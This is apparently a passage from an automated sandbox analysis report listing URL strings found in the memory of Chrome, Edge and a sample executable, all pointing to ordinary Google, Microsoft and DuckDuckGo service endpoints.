Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000003.00000002.2332455942.0000614400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2337988702.0000614400994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.2337988702.0000614400994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/chrome_newtabp
Source: chromecache_80.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_80.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_80.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_80.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gj
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000007.00000002.2343845213.00005D38003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000003.00000002.2335153797.0000614400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2246914680.0000614401988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2246914680.0000614401988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardaD
Source: chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.2323082007.00002B1400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.2333006764.000061440044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246308240.00006144014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244725569.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246172696.0000614401358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.2226861821.0000614400F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.2226861821.0000614400F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2214340245.00002B14006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246714032.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000003.00000002.2323043636.00002B1400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/apiaD
Source: chrome.exe, 00000003.00000002.2324019581.00006144000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.2333006764.000061440044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246308240.00006144014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244725569.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246172696.0000614401358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000003.00000002.2324019581.00006144000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2324019581.00006144000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.2324019581.00006144000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332455942.0000614400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000007.00000002.2343845213.00005D38003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2343845213.00005D38003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000003.2219385482.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224130600.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222732723.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335990589.0000614400724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyM
Source: chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacya
Source: chrome.exe, 00000003.00000003.2219385482.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224130600.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222732723.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335990589.0000614400724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.2342648252.0000614400F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.2219385482.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224130600.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222732723.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226530484.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335990589.0000614400724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337742407.0000614400950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.2224229325.0000614400FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2338625362.00006144009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000007.00000002.2343845213.00005D38003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000002.2334576140.000061440061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000003.00000002.2332561428.00006144003DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334187536.00006144005B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2339364825.0000614400A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2323881750.00006144000A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341530256.0000614400DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.2341530256.0000614400DBA000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342097726.0000614400E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000002.2344260990.000061440186C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341530256.0000614400DBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000002.2331709827.00006144002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341530256.0000614400DBA000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342097726.0000614400E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.2323704107.0000614400080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341530256.0000614400DBA000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342097726.0000614400E90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke8
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2326711570.00005D3800280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.2224229325.0000614400FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2338625362.00006144009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2226530484.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226654906.0000614401118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_80.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000003.00000002.2344037710.0000614401758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=truea
Source: chrome.exe, 00000003.00000002.2339169405.0000614400A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=trueaD
Source: chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=trueaDMjpogram
Source: chromecache_84.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_84.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000003.00000002.2338625362.00006144009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
